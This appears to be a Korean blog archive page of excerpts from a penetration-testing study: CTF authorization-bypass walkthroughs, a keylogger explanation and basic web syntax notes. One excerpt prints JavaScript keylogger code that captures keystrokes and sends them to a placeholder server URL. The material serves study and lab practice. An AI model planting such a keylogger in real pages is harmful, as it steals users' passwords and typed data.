📓 Codegear_Archive

[SegFault] Authorization authorization 3 미사일 발사 버튼을 클릭하세요! 문제 파악 위의 페이지에 들어가면 아래와 같이 나온다. 'Fire' 버튼을 눌렀을 때 '권한이 없습니다.' 라는 알림창만 나오게 된다. 해당 요청을 Burp를 이용하여 살펴보면 다음과 같다. 위의 요청에서 보면 버튼을 눌렀을 때의 동작을 확인할 수 있다. onclick="goMenu('9999', ' ')" 해당 버튼을 눌렀을 때의 goMenu 의 경우 user.js에서 동작하는 것을 확인할 수 있었다. user.js의 goMenu 9999를 살펴보면 다음과 같다. 위와 같이 해당 메뉴에 대한 정보는 난독화를 통해 알기 어렵게 쓰여져 있었다. 하지만 중요한 것은 해석하는 것이 아니라는 생각을 해야한다..

[SegFault] Authorization authorization 2 미사일 발사 버튼을 클릭하세요! 문제 파악 주어진 계정 정보는 다음과 같다. 계정 정보 : sfUser / sfUser1234 주어진 계정으로 로그인해보자. 로그인 하게 되면 다음과 같은 창이 나온다. 버튼을 눌러보면 권한이 없다는 알림창만 뜬다. 해당 요청/응답을 Burp Suite로 확인해보자. 위의 요청을 보면 유저의 권한을 확인하고 admin인 경우에만 해당 페이지로 이동되게 해두었다는 것을 확인할 수 있다. 생각 과정 관리자 권한이 있어야만 버튼을 눌렀을 때, 해당 페이지로 넘어가도록 설정되어 있다. 그래서 버튼을 누르면 admin이 아니기 때문에 권한이 없다는 메시지와 함께 아무일도 있어나지 않았다. 그렇다면 해당 페이지..

모의 해킹 스터디 - 4주차 과제 (1-1) 키 로거 추가 구현 코드 구성 key_logger.html key_logger.js key_logger.php view.html key_logger.html Login Form Login 로그인 폼의 키로거 key_logger.js var keys=''; var url = 'http://ip adress/key_logger.php?c='; document.onkeydown = function(e) { var key = e.key; keys+=key; } window.setInterval(function(){ if(keys.length > 0) { var data = encodeURIComponent(keys) new Image().src = url + data..

모의 해킹 스터디 - 4주차 과제 (1-1) 키 로거 구현 키 로깅이란? 키 로깅(Keylogging, 키 스트로크 로깅(Keystroke logging) 사용자가 키보드로 PC에 입력하는 내용을 몰래 가로채어 기록하는 행위 (키보드로 입력하는 정보를 중간에 가로채기 하여 정보를 훔쳐가는 해킹 도구) 내가 입력한 키 값의 로그를 타인이 봄으로써 해킹 피해에 노출 하드웨어, 소프트웨어를 활용한 방법에서부터 전자적, 음향기술을 활용한 기법까지 다양한 키로깅 방법이 존재 키 로거(Key Logger) Key + Log 키보드에 입력한 키의 흔적을 남기는 프로그램 프로세스로 사중하면서 키보드에 입력된 모든 기록들을 .txt 혹은 지정된 확장자로 저장되게 함 키보드를 통해 이뤄지는 모든 정보가 노출되고 있는 것 ..

HTML의 주석 처리 HTML 주석 ( ) 시작 태그 () 이러한 주석은 HTML 코드의 어느 부분에서라도 사용 가능 또한 여러줄에 걸쳐 주석을 작성해도 인식 ex) PHP의 주석 처리 // 한줄의 경우 /* 주석이 여러줄인 경우 */ // : 한줄 주석처리 /* */ : (/*) 과 (*/) 사이에 포함된 모든 부분을 주석 처리 JS(JavaScript), CSS도 동일하게 사용

웹 개발의 필요성 모의 해킹 스터디를 진행하며... 웹 해킹을 진행하기 위해서는 우선적으로 만들줄 알아야 함을 뼈저리게 느낌 웹 개발은 매우 다양한 언어로 구현이 가능 하지만 여러개의 언어를 다 습득하는 것은 불가능 가장 대중적이고, 필수적인 언어 4가지 >> HTML, CSS, JS, PHP